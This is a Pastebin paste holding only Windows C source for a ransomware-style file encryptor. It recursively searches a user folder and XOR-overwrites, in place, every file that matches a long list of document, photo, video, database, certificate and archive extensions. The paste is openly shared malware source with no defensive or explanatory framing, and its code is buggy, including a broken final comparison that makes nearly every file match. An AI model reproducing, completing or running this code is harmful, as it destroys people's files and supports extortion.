Advertisement
Guest User

Untitled

a guest
Jul 19th, 2019
95
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.66 KB | None | 0 0
  1. #include <Windows.h>
  2.  
  3. void Encrypt(char *FileName)
  4. {
  5. DWORD dwread;
  6. HANDLE File = CreateFileA(FileName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0);
  7. DWORD dwFileSize = GetFileSize(File, NULL);
  8.  
  9. char read[1024000];
  10. ReadFile(File, read, dwFileSize, &dwread, NULL);
  11. for (int i = 0; i < dwFileSize; i++)read[i] ^= 0x07;
  12. SetFilePointer(File, 0,0, FILE_BEGIN);
  13. WriteFile(File, read, dwFileSize, &dwread, NULL);
  14. CloseHandle(File);
  15. }
  16. void Search(PSTR szDirectory);
  17. void main()
  18. {
  19. Search("C:\\Users\\PC\\");
  20. }
  21. void Search(PSTR szDirectory)
  22. {
  23. HANDLE hSearch;
  24. WIN32_FIND_DATA data;
  25. char g_szPathBuf[MAX_PATH];
  26. BOOL bFinished = 0;
  27. char *p, ext[12];
  28.  
  29. //
  30. // Find normal files and also directories
  31. //
  32. data.dwFileAttributes = FILE_ATTRIBUTE_NORMAL;
  33.  
  34. SetCurrentDirectory(szDirectory);
  35. hSearch = FindFirstFile("*", &data);
  36.  
  37. //
  38. // If we found a file, proceed
  39. //
  40. if(hSearch != INVALID_HANDLE_VALUE)
  41. {
  42. while(!bFinished)
  43. {
  44. if(data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
  45. {
  46. if(strcmp(data.cFileName, ".") != 0 &&
  47. strcmp(data.cFileName, "..") != 0)
  48. {
  49. //
  50. // Is this a directory? Then search it recursively. Make sure to
  51. // set our current directory back after we branch out.
  52. //
  53. GetCurrentDirectory(260, g_szPathBuf);
  54. if(g_szPathBuf[(strlen(g_szPathBuf) - 1)] != '\\')
  55. strncat(g_szPathBuf, "\\", sizeof(g_szPathBuf));
  56. strncat(g_szPathBuf, data.cFileName, sizeof(g_szPathBuf));
  57.  
  58. Search(g_szPathBuf);
  59. SetCurrentDirectory("..");
  60. }
  61. }
  62. else
  63. {
  64. //
  65. // Encrypt the file
  66. //
  67. p = data.cFileName + strlen(data.cFileName);
  68. while(p >= data.cFileName && *p != '.') --p;
  69. if(p > data.cFileName) strncpy(ext, ++p, sizeof(ext));
  70. if(strcmp(ext, "txt") == 0 || strcmp(ext, "doc") == 0 || strcmp(ext, "docx") == 0 || strcmp(ext, "docm") == 0
  71. || strcmp(ext, "odt") == 0 || strcmp(ext, "ods") == 0 || strcmp(ext, "odp") == 0 || strcmp(ext, "odf") == 0
  72. || strcmp(ext, "odc") == 0 || strcmp(ext, "odm") == 0 || strcmp(ext, "odb") == 0 || strcmp(ext, "rtf") == 0
  73. || strcmp(ext, "xlsm") == 0 || strcmp(ext, "xlsb") == 0 || strcmp(ext, "xlk") == 0 || strcmp(ext, "xls") == 0
  74. || strcmp(ext, "xlsx") == 0 || strcmp(ext, "pps") == 0 || strcmp(ext, "ppt") == 0 || strcmp(ext, "pptm") == 0
  75. || strcmp(ext, "pub") == 0 || strcmp(ext, "epub") == 0 || strcmp(ext, "pdf") == 0 || strcmp(ext, "jpg") == 0
  76. || strcmp(ext, "jpeg") == 0 || strcmp(ext, "frm") == 0 || strcmp(ext, "wdb") == 0 || strcmp(ext, "ldf") == 0
  77. || strcmp(ext, "myi") == 0 || strcmp(ext, "vmx") == 0 || strcmp(ext, "xml") == 0 || strcmp(ext, "xsl") == 0
  78. || strcmp(ext, "wps") == 0 || strcmp(ext, "cmf") == 0 || strcmp(ext, "vbs") == 0 || strcmp(ext, "accdb") == 0
  79. //
  80. || strcmp(ext, "ini") == 0 || strcmp(ext, "cdr") == 0 || strcmp(ext, "svg") == 0 || strcmp(ext, "conf") == 0
  81. || strcmp(ext, "cfg") == 0 || strcmp(ext, "config") == 0 || strcmp(ext, "wb2") == 0 || strcmp(ext, "msg") == 0
  82. || strcmp(ext, "azw") == 0 || strcmp(ext, "azw1") == 0 || strcmp(ext, "azw3") == 0 || strcmp(ext, "azw4") == 0
  83. || strcmp(ext, "lit") == 0 || strcmp(ext, "apnx") == 0 || strcmp(ext, "mobi") == 0 || strcmp(ext, "p12") == 0
  84. || strcmp(ext, "p7b") == 0 || strcmp(ext, "p7c") == 0 || strcmp(ext, "pfx") == 0 || strcmp(ext, "pem") == 0
  85. || strcmp(ext, "cer") == 0 || strcmp(ext, "key") == 0 || strcmp(ext, "der") == 0 || strcmp(ext, "mdb") == 0
  86. //
  87.  
  88. || strcmp(ext, "htm") == 0 || strcmp(ext, "html") == 0 || strcmp(ext, "class") == 0 || strcmp(ext, "java") == 0
  89. || strcmp(ext, "asp") == 0 || strcmp(ext, "aspx") == 0 || strcmp(ext, "cgi") == 0 || strcmp(ext, "cpp") == 0
  90. || strcmp(ext, "php") == 0 || strcmp(ext, "jsp") == 0 || strcmp(ext, "bak") == 0 || strcmp(ext, "dat") == 0
  91. || strcmp(ext, "pst") == 0 || strcmp(ext, "eml") == 0 || strcmp(ext, "xps") == 0 || strcmp(ext, "sqllite") == 0
  92. || strcmp(ext, "sql") == 0 || strcmp(ext, "jar") == 0 || strcmp(ext, "wpd") == 0 || strcmp(ext, "crt") == 0
  93. || strcmp(ext, "csv") == 0 || strcmp(ext, "prf") == 0 || strcmp(ext, "cnf") == 0 || strcmp(ext, "indd") == 0
  94. || strcmp(ext, "number") == 0 || strcmp(ext, "pages") == 0 || strcmp(ext, "lnk") == 0 || strcmp(ext, "dcu") == 0
  95. //
  96. || strcmp(ext, "pas") == 0 || strcmp(ext, "dfm") == 0 || strcmp(ext, "directory") == 0 || strcmp(ext, "pbk") == 0
  97. || strcmp(ext, "yml") == 0 || strcmp(ext, "dtd") == 0 || strcmp(ext, "rll") == 0 || strcmp(ext, "lib") == 0
  98. || strcmp(ext, "cert") == 0 || strcmp(ext, "cat") == 0 || strcmp(ext, "inf") == 0 || strcmp(ext, "mui") == 0
  99. || strcmp(ext, "props") == 0 || strcmp(ext, "idl") == 0 || strcmp(ext, "result") == 0 || strcmp(ext, "localstorage") == 0
  100. || strcmp(ext, "ost") == 0 || strcmp(ext, "default") == 0 || strcmp(ext, "json") == 0 || strcmp(ext, "sqlite") == 0
  101. || strcmp(ext, "log") == 0 || strcmp(ext, "bat") == 0 || strcmp(ext, "ico") == 0 || strcmp(ext, "dll") == 0
  102. //
  103. || strcmp(ext, "exe") == 0 || strcmp(ext, "x3f") == 0 || strcmp(ext, "srw") == 0 || strcmp(ext, "pef") == 0
  104. || strcmp(ext, "raf") == 0 || strcmp(ext, "orf") == 0 || strcmp(ext, "nrw") == 0 || strcmp(ext, "nef") == 0
  105. || strcmp(ext, "mrw") == 0 || strcmp(ext, "mef") == 0 || strcmp(ext, "kdc") == 0 || strcmp(ext, "dcr") == 0
  106. || strcmp(ext, "crw") == 0 || strcmp(ext, "eip") == 0 || strcmp(ext, "fff") == 0 || strcmp(ext, "iiq") == 0
  107. || strcmp(ext, "k25") == 0 || strcmp(ext, "crwl") == 0 || strcmp(ext, "bay") == 0 || strcmp(ext, "sr2") == 0
  108. || strcmp(ext, "ari") == 0 || strcmp(ext, "srf") == 0 || strcmp(ext, "arw") == 0 || strcmp(ext, "cr2") == 0
  109. //Beginning
  110. || strcmp(ext, "raw") == 0 || strcmp(ext, "rwl") == 0 || strcmp(ext, "rw2") == 0 || strcmp(ext, "r3d") == 0
  111. || strcmp(ext, "3fr") == 0 || strcmp(ext, "eps") == 0 || strcmp(ext, "pdd") == 0 || strcmp(ext, "dng") == 0
  112. || strcmp(ext, "dxf") == 0 || strcmp(ext, "dwg") == 0 || strcmp(ext, "dwg") == 0 || strcmp(ext, "psd") == 0
  113. || strcmp(ext, "png") == 0 || strcmp(ext, "jpe") == 0 || strcmp(ext, "bmp") == 0 || strcmp(ext, "gif") == 0
  114. || strcmp(ext, "tiff") == 0 || strcmp(ext, "gfx") == 0 || strcmp(ext, "jge") == 0 || strcmp(ext, "tga") == 0
  115. || strcmp(ext, "jfif") == 0 || strcmp(ext, "emf") == 0 || strcmp(ext, "3dm") == 0 || strcmp(ext, "3ds") == 0
  116. //
  117. || strcmp(ext, "max") == 0 || strcmp(ext, "obj") == 0 || strcmp(ext, "a2c") == 0 || strcmp(ext, "dds") == 0
  118. || strcmp(ext, "pspimage") == 0 || strcmp(ext, "yuv") == 0 || strcmp(ext, "3g2") == 0 || strcmp(ext, "3gp") == 0
  119. || strcmp(ext, "asf") == 0 || strcmp(ext, "asx") == 0 || strcmp(ext, "mpg") == 0 || strcmp(ext, "mpeg") == 0
  120. || strcmp(ext, "avi") == 0 || strcmp(ext, "mov") == 0 || strcmp(ext, "flv") == 0 || strcmp(ext, "wma") == 0
  121. || strcmp(ext, "wmv") == 0 || strcmp(ext, "ogg") == 0 || strcmp(ext, "swf") == 0 || strcmp(ext, "ptx") == 0
  122. || strcmp(ext, "ape") == 0 || strcmp(ext, "aif") == 0 || strcmp(ext, "wav") == 0 || strcmp(ext, "ram") == 0
  123. //Beginning
  124. || strcmp(ext, "m3u") == 0 || strcmp(ext, "rwl") == 0 || strcmp(ext, "rw2") == 0 || strcmp(ext, "r3d") == 0
  125. || strcmp(ext, "m3u") == 0 || strcmp(ext, "movie") == 0 || strcmp(ext, "mp1") == 0 || strcmp(ext, "mp2") == 0
  126. || strcmp(ext, "mp3") == 0 || strcmp(ext, "mp4") == 0 || strcmp(ext, "mp4v") == 0 || strcmp(ext, "mpa") == 0
  127. || strcmp(ext, "mpe") == 0 || strcmp(ext, "mpv2") == 0 || strcmp(ext, "rpf") == 0 || strcmp(ext, "vlc") == 0
  128. || strcmp(ext, "m4a") == 0 || strcmp(ext, "aac") == 0 || strcmp(ext, "aa3") == 0 || strcmp(ext, "amr") == 0
  129. || strcmp(ext, "mkv") == 0 || strcmp(ext, "dvd") == 0 || strcmp(ext, "mts") == 0 || strcmp(ext, "vob") == 0
  130. //
  131. || strcmp(ext, "3ga") == 0 || strcmp(ext, "m4v") == 0 || strcmp(ext, "srt") == 0 || strcmp(ext, "aepx") == 0
  132. || strcmp(ext, "camproj") == 0 || strcmp(ext, "dash") == 0 || strcmp(ext, "zip") == 0 || strcmp(ext, "rar") == 0
  133. || strcmp(ext, "gzip") == 0 || strcmp(ext, "vmdk") == 0 || strcmp(ext, "mdf") == 0 || strcmp(ext, "iso") == 0
  134. || strcmp(ext, "bin") == 0 || strcmp(ext, "cue") == 0 || strcmp(ext, "dbf") == 0 || strcmp(ext, "erf") == 0
  135. || strcmp(ext, "dmg") == 0 || strcmp(ext, "toast") == 0 || strcmp(ext, "vcd") == 0 || strcmp(ext, "ccd") == 0
  136. || strcmp(ext, "disc") == 0 || strcmp(ext, "nrg") == 0 || strcmp(ext, "nri") == 0 || strcmp(ext, "cdi"))
  137. {
  138. Encrypt(data.cFileName);
  139. //Change(data.cFileName, (char *)random);
  140. }
  141. {
  142. }
  143. }
  144. //
  145. // Go onto the next file?
  146. //
  147. if(!FindNextFile(hSearch, &data))
  148. {
  149. bFinished = 1;
  150. }
  151. }
  152. }
  153. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement